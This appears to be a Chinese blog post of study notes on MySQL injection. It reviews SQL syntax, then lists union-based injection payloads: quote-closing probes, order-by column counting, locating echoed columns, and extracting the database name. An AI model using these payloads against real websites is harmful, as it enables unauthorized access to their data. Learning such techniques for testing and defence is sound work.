SQL注入-Day16

本文详细讲解了Mysql注入中各种SQL语句的使用、安全风险以及防范措施,包括insert、delete、update、select等操作,同时介绍了联合注入、分组函数、去重与SQL执行顺序,以及如何应对union查询注入和回显位置的判断。
摘要由CSDN通过智能技术生成

三、Mysql注入

3.2 语句

insert:
insert into 表名 ( 字段名 1 ,字段名 2 ,字段名 3......) values( 1 ,值 2 ,值 3......)
delete:
delete from 表名 where 条件 ;// 可回滚
对于大表:
truncate table 表名 ;// 不可回滚,将会永久丢失
update:
update 表名 set 字段名 1= 1, 字段名 2= 2,......where 条件;
select:
select 字段 1 ,字段 2 ...... from + 表名 where + 条件 ;
between and:
select * from users where id between 2 and 8;
select * from users where id >=2 and id <=8;
in not in:
select password from users where id not in(5,8);
指查找出 id 不等于 5 id 不等于 8 的用户的密码 (注:不是 5~8 in 之后不是一个区间)
like:(% 代表任意多个字符   _ 代表任意一个字符)
select username from users where username like '%b%';
//指查找出用户名中带有字母 b 的用户名
select username from users where username like '_a%';
// 指查找出用户名中带第二个字母为 a 的用户名
select username from users where username like '%b';
// 指查找出用户名中带最后一个字母为 b 的用户名
select username from users where username like '%\_%';
// 指查找出用户名中带有下划线 _ 的用户名
( 注:特殊字符需要转义)
order by:
select username from users order by 字段名;
( 注:默认为升序排列)
指定升序: asc
select username from users order by 字段名 asc
指定降序: desc
select username from users order by 字段名 desc
双重需求:
select username from users order by 字段名 1 desc, 字段名 2 asc
分组函数:
  • select sum(grade) from users;
  • select avg(grade) from users;
  • select max(grade) from users;
  • select min(grade) from users;
空处理函数:
select sum(ifnull(salary,0)*12), from crew;
求一年的薪水之和,当薪水为 NULL 时,被当作 0 来处理
count(*) count:
count(*) : 统计总记录条数,而不是统计某个字段中的数据,与字段无关
count( 具体的某个字段 ) :统计具体字段中不为 NULL 的总数
  • 字符串数据 sum,avg 0max,min 按字母大小取
  • 分组函数会自动忽略 NULL
  • 数学运算 中如果有NULL参与,结果为定为NULL
  • 分组函数不能直接出现在 where 后面,原因是 group by 是在where语句执行结束之后执行的
  • 分组函数可组合使用
group by having:
group by :按照某个字段或某些字段进行分组
having :对分组之后的数据进行再次过滤,即 having 必须跟在 group by 后面使用
select max(grade) from students group by classes;
//先根据班级分组,再查出各个班级的成绩最高学生的成绩
分组函数一般与 group by 联合使用,并且任何一个分组函数( count,sum,avg,max,min )都
当一条 sql 语句没有 group by 时,整张表会自成一组
sql 语句中使用 group by 时, select 之后只能跟参与分组的字段或者分组函数
(注:实际上在 mysql 中,可以使用并且执行,但毫无意义;而由于 Oracle Mysql 要更加严)
distinct 去重:
distinct 关键字 去除重复记录
select distinct job from company;
//查询该公司中的工作岗位
语句执行顺序:
  • select 5号:挑选出满足条件的数据
  • from 1号:定表
  • where 2号:过滤原始数据
  • group by 3号:进行分组
  • having 4号:对数据进行再次过滤
  • order by 6号:进行排序
inner join:
select a.ename,b.dname from emp a join dept b on a.deptno=b.deptno;
left/right join:
select dname,ename from dept a left join emp b on a.deptno=b.deptno;
or语句: 当前面语句不符合情况或者出现错误时执行or后面的内容

 

 四、union 联合注入(单引号闭合字符型为例)

4.1 注入判断

?id=1'
?id=1'

4.2 order by 查询

?id=1' order by x--+
?id=1' order by x#->常用%23代替
//其中x输入数字代表哪一列,使用二分法缩小范围,x之后是两个减号与加号,代表注释

4.3 判断回显位置,三列为例

?id=-1' union select 1,2,3--+
?id=0' union select 1,2,3--+
?id=1' and 1=2 union select 1,2,3--+
//前面是为了否定 id=1 时的回显,防止人家的 sql 语句只 limit 0,1
//这样就无法查看到我们想要的信息了

4.4 回显位置注入sql语句

?id=-1' union select 1,(select database()),3--+  

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值